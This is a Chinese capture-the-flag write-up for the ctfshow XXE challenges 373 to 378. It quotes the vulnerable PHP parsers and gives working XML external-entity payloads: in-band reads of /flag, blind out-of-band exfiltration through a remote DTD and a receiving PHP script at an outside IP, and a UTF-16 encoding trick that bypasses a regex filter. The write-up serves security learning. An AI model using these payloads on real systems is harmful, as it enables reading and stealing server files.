373.
首先我们需要先了解xxe漏洞存在在哪儿
这里有一位师傅的对于XXE的理解
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-07 12:59:52
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-07 13:36:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$ctfshow = $creds->ctfshow;
echo $ctfshow;
}
highlight_file(__FILE__);
这里使用了libxml_disable_entity_loader()这个函数是用来看是否使用外部实体解析,如果里面的参数是false则是开启外部实体解析,后面的 $xmlfile是通过输入流中直接获取,所以这里我们抓包写入程序即可,
然后看后面的代码,
DOMDocument类,这是php中一个关于xml的一个类,这个类通常是用于创建一个新的xml文档,
然后下一步,他将生成的xml数据,又拷给了simplexml类,这个类的特点是易于操作xml的数据,
我们可以看见最后一步,$creds访问了ctfshow元素,说明我们构造的xml文档需要将我们想得到的外部实体的资源放在ctfshow的元素中的,构造ctfshow元素即可,这里补充一点就是一般简单的xml文档不需要再在dtd中声明文档中所含的元素
看完代码过后,就明白了payload应该咋写了
因为有回显,所以我们构造
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///flag"> ]>
<foo>
<ctfshow>&xxe;</ctfshow>
</foo>
374.
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-07 12:59:52
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-07 13:36:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
可以看见,其实其它的都是一样的,但是吧,没那个echo了,也就是说数据在存入DOMDocument类后就没了,也就是没有了回显了,这里给出做法
1.一个dtd文件在本地服务器上
# xxe.xml
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://8.130.127.44/x.php?1=%file;'"
>
%all;
本地服务器上构造php文件用于接收数据
# x.php
<?php
$content = $_GET['1'];
if(isset($content)){
file_put_contents('flag.txt','更新时间:'.date("Y-m-d H:i:s")."\n".$content);
}else{
echo 'no data input';
}
3.burp抓包传入
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://xxx/xxe.xml">
%remote;
%send;
]>
让我来解释一下做法,由于我们在它的服务器上看不见回显,所以就只能将得到的数据通过外部实体system方式,传到我们的服务器上,去看flag
首先我们知道,我们这里实际上是可以汇总在一起的,但是为了清晰明了,我把两段dtd分开,
第一句,也是很重要的一句,我们需要获得当前目录下的flag数据,然后在本地服务器创建的dtd文件作用是创建与我们的服务器的联系,最后一个%send,将实体解析,于是在题目的服务器下,将/flag文件里的数据通过实体%file通过get传参传入了我们的php文件中,并执行,于是触发命令,将flag写入了flag.txt中,注意上图的http://xxx代表自己本地服务器的ip地址
375.
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-07 12:59:52
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-07 15:22:05
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
相较于上一题,这一题过滤了版本号,我们不写就没问题,况且我上一题就没写....
所以同上!
376.
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/i', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
?>
这里也是禁用版本号,所以同上,
377.
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-07 12:59:52
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-07 15:26:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
,这个在禁用版本号的基础上,还禁用了http头,这里我们需要知道一些新的知识,就是关于xml解释器可以翻译的编码形式
XML解析器通常可以解析多种编码形式的XML文档,其中一些常见的编码包括:
UTF-8:这是最常见的编码形式,也是许多XML文档默认使用的编码。
UTF-16:XML文档也可以使用UTF-16编码。
ISO-8859-1(Latin-1):虽然不常见,但XML解析器通常也能够解析使用ISO-8859-1编码的XML文档。
其他:除了上述常见的编码形式之外,XML解析器还可能支持其他一些编码形式,如UTF-32等。
通常情况下,XML解析器能够根据XML文档中的声明或者特征来确定文档所使用的编码形式,从而正确解析文档内容。
正则表达式通常是针对ASCII字符编写的,而不是针对Unicode字符编写的。
UTF-16编码使得每个字符占用两个字节,这可能会使得某些正则表达式检测不到字符串中的特定模式,因为正则表达式可能只检查单个字节或特定的字节序列。
由此可以明白,当我们更改编码方式过后,我们就可以绕过简单的正则表达式,
更改默认的编码方式,我们用bp好像不行,所以跟着网上的做法,通过构造post传参
import requests
url = 'http://8b8a3d03-40d2-4131-a046-710f0cd40dbd.challenge.ctf.show/'
data = """<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % dtd SYSTEM "http://xxx/test.dtd">
%dtd;
%send;
] >"""
requests.post(url ,data=data.encode('utf-16'))
print("done!")
378.
可以看见,有回显
有回显我们需要看是什么类型的回显,比如sql注入,也有来自数据库的回显啥的,
可以抓个包看回显
可以看见这里回显了username,所以抓包往里面注入即可
payload
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY file SYSTEM "file:///flag">
]>
<user>
<username>&file;</username>
<password>123</password>
</user>